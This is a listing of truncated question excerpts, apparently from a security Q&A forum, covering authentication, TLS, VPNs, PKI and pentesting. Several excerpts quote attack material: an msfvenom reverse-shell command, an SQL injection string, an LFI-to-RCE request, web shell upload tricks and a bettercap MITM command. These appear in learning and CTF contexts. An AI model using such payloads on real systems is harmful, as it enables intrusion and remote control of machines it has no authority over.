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From my understanding, the current standard when using JWTs for user sessions is to have a short-lived (expires after maybe 15 minutes) access token and a long-lived refresh token (expires after 24+ hours) which can be used to obtain more access tokens.
There seems to be a handful of reasons for this, the main ones bei... |
Suppose I have a valid SSL certificate for my application certified by valid CA and I turn evil.
Now I want to do MITM between A and B. When I'll get a request from A, I'll send my valid SSL certificate to A and then forward A's request to B. Is this possible? I'm talking about a scenario without browsers. i.e when URL... |
As I have learned, there are two main ways of isolating resources in AWS VPC
One through public/private subnet separation using NAT Gateways to route communications between resources (e.g. public web servers) in the public subnets and resources in the private subnets (e.g. Aurora RDS instances)
On the other hand, one... |
Context: I'm looking at storage solutions for JWT tokens on a single page application.
Storing the JWT in the local storage is unsafe and prone to XSS attacks.
Storing the JWT in a secure / HTTP only cookie is safer, but prone to CSRF attacks.
I'm studying the following scenario:
Upon authentication, a refresh token ... |
Diffie Hellman is a key exchange algorithm where client and server both generate public and private key, exchange their public key and combine this key with his own private key to generate same secret key.
But, here is a confusion in the implementation. Here is the code...
const crypto = require('crypto');
const expres... |
I want to create a message exchange program. These messages are encrypted with the AES key, and this key is encrypted using the RSA algorithm. When I send a message from User 1 to User 2, I need to request the public key from User 2, do I just get the key and use it or do I need a secure key exchange like Diffie-Hellma... |
I need to send some automated emails from a program I'm working on. This is a new feature. I'm generating the emails, but they get filtered by most of the email servers that I send tests to. Only one server I am using accepts the emails and it allows a lot of spam through. I need to find what headers or authentication ... |
I'm getting conflicting information on how the security keys are stored and used. Where are the public and private keys stored? If the private key is stored on the Yubikey itself, how many can it hold?
If the both keys are stored on the service you are authenticating against (Gmail), does it send the yubikey the privat... |
If I know someone is trying to spy on me, and they are tracking me both online and in the physical worls, what steps can I take to neutralize the risk? Keep in mind that I'm a normal person with limited resources.
These steps come to mind:
Set up & use a self-hosted VPN service (to prevent ISP as Man-in-The-Middle and... |
I uploaded a PHP web shell to a site, and to bypass the file upload restriction, I used a .php.jpg extension.
When I open my shell with a web browser, it doesn't execute (confirmed with a packet capture) but when I open it with curl, it returns my php web shell source code!
Where is the problem?
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The only protection features that mobile phones have to keep thieves that stole a target's device from impersonating that subscriber is the PIN/PUK system that's on by default on most SIM cards.
The gist of this is that only the legitimate subscriber would have set the PIN and only they would know it to unlock the SIM ... |
I'm in the process of implementing TOTP based on RFC6238.
The RFC's recommend time step is 30 seconds.
However, for addressing a resynchronization problem that we have,
if I use a larger time step, 15 mins
or if my verifier verify the code in 30 time slots (15 previous, the current and 29 future),
is there any vulner... |
Was thinking to use Ambassador design pattern and filter each request through Nginx with Waf (mod_security or Naxsi) in reverse proxy and ACL, authentication and authorization to pod.
What are the best practices?
How to prevent "soft belly" of each microservice being open in the network (vlan, vpc or similar)
Thanks,
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We hired a new Sales Ops member 1 week ago. Within a week he's getting emails similar to the below:
I did some research on the sender and it is a valid email, valid person, SPF/DKIM checks come through fine. I reached out to my CEO to check to see if he knew the sender.
I know I can stop this by rejecting messages ... |
I am performing a MITM attack against my own network using bettercap and https proxy.
On my client-side I use the Google Chrome browser and navigate to https://webs.com
At the same time I use a script that analyzes client-side TLS security parameters.
Bettercap presents its certificate to the client-server connection a... |
I'm a fan of Visual Studio, and recently installed VSC on my Linux Mint. However recently I did a deep-dive on Richard Stallman's site reading about just how evil and depraved all the big tech companies are, including Microsoft (not that I didn't already know that these companies are evil, I just didn't realise the ext... |
You have an embedded device that supports HTTP based web UI over private ip address.
Does it make sense to implement CSRF defense over HTTP(not HTTPS)?
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When using gmail this morning, I got the "Currently being used in other location" warning in the bottom right hand corner:
The details showed 2 different IP addresses accessing my account:
The IP address, 2604:ca00:119:49ec::460:46d4, is not mine.
When I looked it up on WHOIS, it says it is owned by Google.
Is my un... |
I spun up an internet facing nginx server in AWS and the logs started showing weird get requests with a search engine's spider as user agent.
172.31.43.193 - - [19/Aug/2020:20:09:19 +0000] "GET /rexcategory?categoryCodes=SHPCAT33&t=1360657001168 HTTP/1.1" 404 153 "-" "Sogou web spider/4.0(+http://www.sogou.com/docs/hel... |
I am looking for a way to hold the departments accountable and ensure they atleast review the policies that we have. I was thinking about using adobe sign but don't want to go cloud. An application like those that make you scroll to the end then click agree would be nice if it kept track of the people who signed. I'... |
In my Java project I'm trying to create a 100% secure method of communication between the method and the client. I used to use this process:
Client: generates 4096-bit RSA keypair
Client: sends public to server
Client: generates 256-bit AES key
Client: encrypts AES key using RSA and send
Server: decrypts AES key from R... |
Let's consider this scenario.
If I browse to https://www.example.com/existentdirectory the web application shows this error "directory listing is denied".
If I browse to https://www.example.com/nonexistentdirectory the web application shows this error "file directory is not found".
To me this would represent a chance f... |
I am wondering how those RSA fingerprints work. I have a GitHub account and created an RSA key pair to set up an ssh connection. Then followed the instruction...
First time I connect to my GitHub it gives me and RSA fingerprint SHA256:nThbkt6JwfF............
Ok, I am doing this for the learning process so I google what... |
We are writing a pure javascript front-end (in angular) for an API that still uses OAuth 1 for legacy reasons. Being pure javascript means the consumer secret is part of the code that gets downloaded at the start, before authentication, and therefore easily known to an attacker.
This secret is used in calculating the a... |
As far as i know certificate chain is accomplished based on the issuer's CA name. It is possible that the algorithm to create certificate chain first reads end-certificate's issuer area and get the value of CA. Then make a search in trust store with this data, it reads the subject ares's CA value for all certificates. ... |
I recently discovered that my parents' android phones have not received security updates for years because the phones are out of support. When I talked to them I realized that the benefit of up-to-date software is very abstract to them and that they clearly felt like I was overreacting.
I personally really understood t... |
While trying to exploit vulnserver (GMON), on Windows 10, using an egghunter, the program crashes in the instruction int 0x2E of the egghunter.
The exploit works if I use jumps.
Does someone know if there is any issue or protection with the int 0x2E and int 0x80 instructions on Windows 10?
Egghunter code:
egghunter = "... |
I am looking for a cross-platform way to encrypt credentials I need to send to a client.
I know encrypted zip archives leak metadata and can be tampered with, but how strong is the encryption cypher?
zip -ejr "/path/to/folder.zip" "/path/to/folder"
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I'm reading this blog and it says:
If the /proc/self/environ file can be accessed through LFI, then in this case “RCE” can be achieved by requesting the file in combination with the payload written into the HTTP User-Agent field.
Then, it goes on to say:
GET lfi.php?file=../../../proc/self/environ HTTP/1.1
User-Agen... |
A hypothetical 1GB USB stick is full of sensitive documents/images/etc. and it is not encrypted.
The owner wishes to discard it and is aware of having to safely erase it first.
There are several tools and utilities to do this. Some can be configured to do it “faster yet less safely”, others do it “slower but more safel... |
Background
Per the project website, wkhtmltopdf is a "command line tool to render HTML into PDF using the Qt WebKit rendering engine. It runs entirely "headless" and does not require a display or display service."
The website also states that "Qt 4 (which wkhtmltopdf uses) hasn't been supported since 2015, the WebKit i... |
I want to verify phone number ownership with specially crafted and encrypted payload within an HTTP hyperlink callback through SMS as opposed to sending an SMS OTP code and writing it back in server web page. The payload will contain validity and expiry, random numbers, etc.
I wasn't able to find anyone using this or s... |
I am trying to perform a MITM attack using bettercap against a website that doesn't have the HSTS security policy implemented at all.
When I try the following command: bettercap -T AddressIpoftheTarget -X --proxy --https-proxy, it works fine. Bettercap succeeds in injecting his own self-signed certificate to the web br... |
I am not an expert in information security. I am running Lubuntu on a laptop. Today, I ran chkrootkit and it printed the following:
INFECTED: Possible Malicious Linux.Xor.DDoS installed
/tmp/clamav-71d2ee99f7e011424ab238571d720a88.tmp
I did run clamscan. This is the first time I have seen this notice. I could not find... |
Let's say we run a web app at "example.org". It uses cookies for user authentication.
Our website also has a blog at "example.org/blog", hosted by a third party. Our load balancer routes all requests to "/blog" (and subpaths) to our blog host's servers. We don't distrust them, but we'd prefer if security issues with... |
This has been in the news:
https://www.wired.com/story/fcc-fines-wireless-companies-selling-users-location-data/
Is there a way to make calls without using cell towers?
Also in this context: is it true that if one uses wifi only for calling, then the location is not sent?
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If a password is +30 characters long but contains words from the dictionary, is it less secure than a 10-character password that is !@#$#%$^%$, for example?
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Where can I find RegEx that can pattern match common secret strings?
I have a product that scans repos and commits and in case a developer tries to commit a secret (i.e. passwords, keys). It scans for roughly 30 patterns by default which seems insufficient given thousands of repos in over seventy languages. I can expan... |
I've been using OpenVPN and SSH tunnels for a multitude of scenarios over the years and recently I've been earning a lot of buzz around the simplicity and security of WireGuard. Now I've found some troubling information about CVE-2019-14899:
An attacker that controls your L2 link (i.e., your WiFi or LAN) can
send spec... |
I've read a lot of articles on the PKI and digital certificate topics because it's very rare to find one article covers all the aspects; also the topic is confusing at the beginning, (this beautiful question is my last reading: How do certificates work in terms of encryption, hashing, and signing?).
I drew this graph f... |
Prime numbers are core in security.
I saw this question about Java's probablePrime
and was wondering if that API/approach is indeed used for real production-ready security code or other approaches are preferred to ensure there is 0 possibility of using a non-prime number
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I'm working with a client that, in order to use their OAuth 2.0 web API, requires me to provide them with a JSON Web Key (JWK) that contains an embedded X.509 certificate. Then, when I'm requesting information from the API, they say I need to pass a "signed (with private keys) JWT Bearer token" on each request.
I've n... |
Is my VirtualBox setup fine for running a potential virus/malware?
Here's the screenshot of my settings - CLICK
Shared clipboard and drag n drop are off.
Let me know if anything else is required.
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Using openssl to generate a CSR:
> openssl req -newkey rsa:2048 -nodes -keyout key -out mycsr.csr
It outputs the mycsr.csr file along with the key file.
The content of mycsr.csr:
-----BEGIN CERTIFICATE REQUEST-----
MIICsDCCAZgCAQAwazELMAkGA1UEBhMCRUcxDjAMBgNVBAgMBUNhaXJvMREwDwYD
VQQHDAhTaGVyYXRvbjEMMAoGA1UECgwDRm9vMQ4... |
I've just started using a VPN service because I'm doing work from a hotel room for an extended period of time with an iMac connected to the hotel's open wifi. Hotel has a web log-in with password, but no encryption.
I installed a personal VPN service and it appears to be working properly, but when I turn off the VPN th... |
I have a web server that uses the ECDHE-RSA-AES256-GCM-SHA384 cipher suite. I noticed that when given the "(Pre)-master-secret log" file (generated by the browser), Wireshark is able to decrypt the traffic given the client random and master secret.
I was wondering how that is possible exactly? Or assuming that I have a... |
I have a Python client and server communicating over a TCP socket - they send and receive a certain set of standardized string commands to each other.
How can I prevent a hacker from creating their own client that sends the same kind of string commands (but with their own values) to the server?
Is it right that I can a... |
In my web application, I have a single API backend and two frontends written as single page applications. To simplify deployment, I'd like to serve the API on /api, the admin dashboard on /admin, and the end user frontend on /user (or something similar), all on the same domain.
I want to use cookies for handling sessio... |
If an agent has a few middle Tor relays (Am) and a few exit Tor relays (Ae), could they obtain the original traffic of some of the circuits with a reasonable probability?
Let's assume, without too much loss of generality, that Tor only uses middle-middle-exit circuits and that there are M middle relays and E exit relay... |
I am implementing a server that contains most of the information the clients have to retrieve. Sensitive information has to be exchanged between client and server, and due to this, I would like to have this information encrypted.
I came up with the idea of encrypting all sensitive information using RSA (PKCS1_OAEP) by ... |
I am creating a chat app. This app contains private messages and channels. These channels include more than one user.
I want to encrypt messages using AES and to transfer the AES key to users of this channel.
I need a secure transport channel so I used Diffie Hellman. The problem now is how will I get users to generate... |
I am currently developing an API for my front-end React application. All my routes (besides the two I'll mention below) are secure by the use of JWTs. They get generated once a user logs in and is then used for the remainder of the session. The app to API connection will be over HTTPS so it should hinder MiTM attacks.
... |
Consider the procedure below. What are your counterarguments, related to both security and user experience?
This is a follow up on my previous question on the same topic.
Step one: An employee submits an e-mail to coworkers (non-internal roles are also covered):
Step two: The e-mail server intercepts all incoming mail... |
Running this command resulted with the list of ciphers which supports rc4:
/usr/bin/openssl ciphers -v | grep -i "rc4"
What's the easiest way and how to remove specifically ciphers that supports rc4 that I need to execute or where is the configuration file in need to edit on Linux machines?
What's the way to reverse t... |
I have access to MySQL database which the current user has FILE privilege. I want to upload a web shell but I do not know the root directory of the web server.
Is it possible to somehow locate the root directory using a SQL query?
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My problem is that I'm trying to crack RAR file with is encrypted with RAR3 encryption.
Decided to try with John The Ripper.
Here are clues I have from my friend.
Max password length is 8
Only capital letters or digits
And I need now filter to make John crack the password without trying to check small lowercase lette... |
If I use an insecure router as an entry point of a VPN, does this effectively bypass all of the privacy benefits of using a VPN?
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I like to be able to run some commands installed via Homebrew without typing my sudo password. The problem is that Homebrew installs everything with user permissions, so if I add the executables to sudo's NOPASSWD list (via user ALL = (ALL) NOPASSWD: ...), these files can be replaced and so any arbitrary program can ru... |
Suppose an extension has a scary list of permissions like that below ("Site access: On all sites"):
Does this also give the extension permission to send my data to the author's servers via XHR?
I've read the documentation here but lack some background knowledge, so I am not sure in my interpretation:
Cross-Origin XMLH... |
What checks should I perform to ensure my router is malware free?
This is for a home network
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Meterpreter session was created, framework latest. Victim machine: Ubuntu
Screenshot of session:
I am pretty sure the commands used to work before on the same machine. Shell commands are not working after giving shell in meterpreter. All meterpreter command works fine though.
Uploaded payload manually, same issue.
Res... |
I did a vulnerability scan on some of our company workstations. These are workstations used by employees (dev, HR, accounting, etc.) to do their job.
One of the common result I found is SSL/TLS Certificate Signed Using Weak Hashing Algorithm.
Based on the vulnerability description "An attacker can exploit this to gener... |
In the installation procedure of Gentoo, there is a step to check signature of the downloaded iso file. To do so, we first need to download the set of keys from a key server:
$ gpg --keyserver hkps://hkps.pool.sks-keyservers.net --recv-keys 0xBB572E0E2D182910
However, when I first run this command, I got the following... |
I stumbled upon a web app which is accepting user input and putting it into a variable within script tag.
The script tag does have a nonce attribute.
As am working on bypassing the XSS filter, I had this thought that this practice of reflecting user input within an inline script with nonce attribute beats the purpose ... |
Would it be secure to:
Store all my website cookies (stack sites, webhost, github, web-based email, etc) on a remote server (using an customized open-source VPN or something)
Login to the server with password + 2fa (and maybe have a trusted devices list?)
Keep the cookies only on the server... never actually download ... |
Many projects offering binaries, also offer hashes (e.g. SHA256) of those binaries, wither as .ASC files, or directly on the web page near the binary. This isn't to protect against network-caused corruption, as that's ensured by the TCP protocol.
Given that the binary and the hash are downloaded from the same server (e... |
I am currently doing a pentesting on a web application and focusing more on SQL Injection. This company I am pentesting have a functionality in which we are allowed to buy things from the vendors/suppliers registered there. When a product is added to our cart and 'Checkout' button is clicked, the web application will t... |
We are using Jenkins Freestyle Project to push the changes on the remote server. We are executing shell script on remote host using ssh for it. To pull the changes on the remote server, we are using origin url with git username and git password. The credentials should not be visible in plain text in the url that's why ... |
This question is related to crackmes.de's k1 by xtfusion. I'm trying to add custom shellcode through stack overflow.
The shellcode works perfect under Windows XP (without ASLR) when the program is attached in the debugger.
But when I run the program with double click, the program only exits quietly and no message box p... |
TL;DR
If we encrypt a message with an IV, do we need to store this specific IV somewhere to ensure that we're able to decrypt the message later?
There isn't much I know about this. From my understanding, IVs are a way of creating different ciphertext each time the same message is encrypted.
The Problem
I encrypted a ... |
I have a background in web app development and I'm trying to up my security game but there are some things that I find confusing.
Like how does memory-hard hashed passwords protect against brute force attacks? Let's assume I have a webapp which hashes passwords with Argon2i. To my understanding it's great because it ta... |
Over the weekend I was thinking about the problem of scaling various web services. One common practice to scale authorization is to use cryptographically signed tokens. This way when a request comes into your service you don't need to look up a session ID in a database or perform an expensive hash on an API key or pass... |
I'm currently implementing 2FA and ask our users that login with their email/pass to enter their code when 2FA is enabled. This is all good.
But I also offer a "I forgot my password" access that sends a one-time login link by email to the user when the email entered matches the account we have.
Now, I wonder if it is i... |
Does anyone have any suggestions for infosec training for a small company (circa 7 employees).
I would be looking for general information security awareness plus specific training for securely working with databases (MySQL specifically).
Everything I've looked at is aimed at large organisations and is outside of our bu... |
I'm new to the metasploit and in a book it was said that when a reverse shell is used by an attacker, a handler is initiated. I've searched the about it but doesn't found any satisfactory information about the 'Handler'. What is it?
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I'm working on a diagram to describe the process of issuing digital certificates, with the help of answers on my question here and some other research:
I just read in the IETF that:
The signatureValue field contains a digital signature computed upon
the ASN.1 DER encoded tbsCertificate. The ASN.1 DER encoded
tbsCert... |
in the AMP Docs, the following snippet is given:
If the Origin header is set:
If the origin does not match one of the following values, stop and return an error response:
<publisher's domain>.cdn.ampproject.org
the publisher's origin (aka
yours)
where * represents a wildcard match, and not an actual asterisk ( * ).... |
So, I'm trying to do a SQL injection in a ctf application that removes all whitespace in form parameters, so I can't use it. To perform my query I used /**/ to insert whitespace and I could perform many queries using something like:
1'/**/UNION/**/SELECT/**/column/**/FROM/**/table;--
I'm injecting SQL in a SELECT query... |
I noticed this where it used to say something about the search engine.
I noticed it when searching for "google".
Has Google been compromised or something? I am not going to click this link to see what it is.
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Can my IP address ever be included in the header of emails I send? Or do email servers never include my IP address in my emails' headers?
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When I read Multi VERB Single Request:
This Attack is also a variation of the Excessive Verb Attack
strategy. The attacking BOT creates multiple HTTP requests, not by issuing them one after
another during a single HTTP session, but by forming a single packet embedded with multiple
requests.
How to understand the a si... |
I am at the moment using Bitwarden and a separate 2FA app.
I am trying to figure out a way to be able to securely recover my access to credentials and 2FA in case my phone/laptop/other electronic devices get stolen or destroyed and am not sure if what I am doing is good enough.
The app I am using for 2FA allows for enc... |
I'm not sure if this is the right place to ask.
My goal is to establish an external connection to my home server through ssh and tunnel some ports to the laptop. For this reason, I've exposed the SSH port through my router (random 5-digit port instead of 22), and set the following config:
Private key connections only ... |
I wanted to know if it was a bad thing to have a _csrf token stored in a url. I saw that in a POST request that allows me to upload a file, the _csrf token was displayed in the url. Is it sensitive to store this token in a url. Is there a way to exploit this vulnerability ?
Thank you for your answers.
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I want to perform a Man-in-the-Middle attack against my own network for educational purposes.
I want the following scenario: Perform a MITM attack with Bettercap, navigate to a website and accept the certificate warning,which means accept the certificate presented by Bettercap (the attacker).
Question 1:
I want to know... |
I was just wondering out of interest. What happens if your captcha keys get compromised. What can they be used for and how can you detect that they have been compromised.
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I'm trying to exploit webdav by uploading a msfvenom generated php script to the target webdav server on windows xp machine using the default credentials - wampp(username), xampp(password).
The command for generating the payload is: msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.7 LPORT=123 -f raw > meta.php
N... |
There are two different web applications Host and App which are hosted separatedly, i.e. in particular on different domains. App is not designed to be accessed directly. Rather users are expected to visit Host which embeds App as an IFrame. While App is fully trusted, Host is more likely to get compromised, and shouldn... |
I'm working on an app where some accounts use passwordless authentication by email (using magic links) and some require a password to login. Is it okay to represent this rule in the account table by having a nullable password_digest? Would the application be more vulnerable to attack if and attacker knew which users ha... |
What malware was the first to use a client-server architecture to relay commands?
The earliest that I could find appears to be NetBus which was written in early 1998. The next closest would be Back Orifice, which was written in August 1998.
However, these two pieces of malware were very popular, so I'm curious if there... |
Context
NIST SP 800-63b gives the following guidance for password forms (aka login pages):
Verifiers SHOULD permit claimants to use “paste” functionality when entering a memorized secret. This facilitates the use of password managers, which are widely used and in many cases increase the likelihood that users will choo... |
Is there any chance of my local PC getting infected when I analyse PCAP malware file on a cloud server through putty? I want to run pcap malware to test snort in my cloud server. I want to know on doing so if it will affect my local machine.
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Is it possible that a StackOverflow account can be hacked without the owner knowing?
If a StackOverflow account is hacked, is any other information (like social media passwords) exposed other than StackOverflow information?
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From PHP Session Management basics:
Proper use of session.use_only_cookies and session_regenerate_id() can
cause personal DoS with undeletable cookies set by attackers. In this
case, developers may invite users to remove cookies and advise them
they may be affected by a security issue. Attackers may set malicious
cook... |
I see that many relational database systems offer asymmetric (private/public key) cryptography functions. For example, PostgreSQL offers the pgcrypto module, which supports OpenPGP (RFC 4880) encryption. Given that access to an RDBMS and a specific database is typically protected and restricted, I cannot see the useful... |
I am familiar with MITM LAN attacks using dnsspoof and arpspoof to read client data. Instead of spoofing the DNS and impersonating the router on my physical machine, I want to set up a MITM LAN attack through the router by changing the DNS and port forward rules. My goal is to decrypt all HTTP, HTTPS, and SSL traffic ... |
Four days ago my PC got phobos ransomware. I didn’t notice until three days ago, and the reason is that the attack stopped midway, leaving some of my data as it is and not leaving behind any ransom note or something like that.
Now, when I noticed the attack, I panicked so much, that I did two stupid mistakes. First, I ... |
I'm using Google Chrome developer tools.
Let's say I'm performing a bug bounty activity.
I found an obfuscated JS. I know user data goes into this JS and goes out encrypted.
I found a few files called cryptoJS.js, aes-json-format.js, etc...
Now what I'm asking is how it would be possible to follow step by step all Java... |
I am trying to recover a 7z file, but have forgotten the password. It's completely AES-256 encrypted (i.e. not even the filenames are available).
Steps:
Generated hash file with 7z2hashcat.pl
Ran a mask attack using hashcat -a 3 -m 11600 my.hash masks\rockyou-7-2592000.hcmask
After ~55 hours, hashcat completed with st... |
A friend of mine, let's call her Alice, had an Instagram account that was hacked. She uses an iPhone. The scenario looks like this:
Alice gets a link from a Business Account via WhatsApp, and clicks it
The page was simulating the Instagram login page, and she entered the credentials and submitted the form. The provide... |
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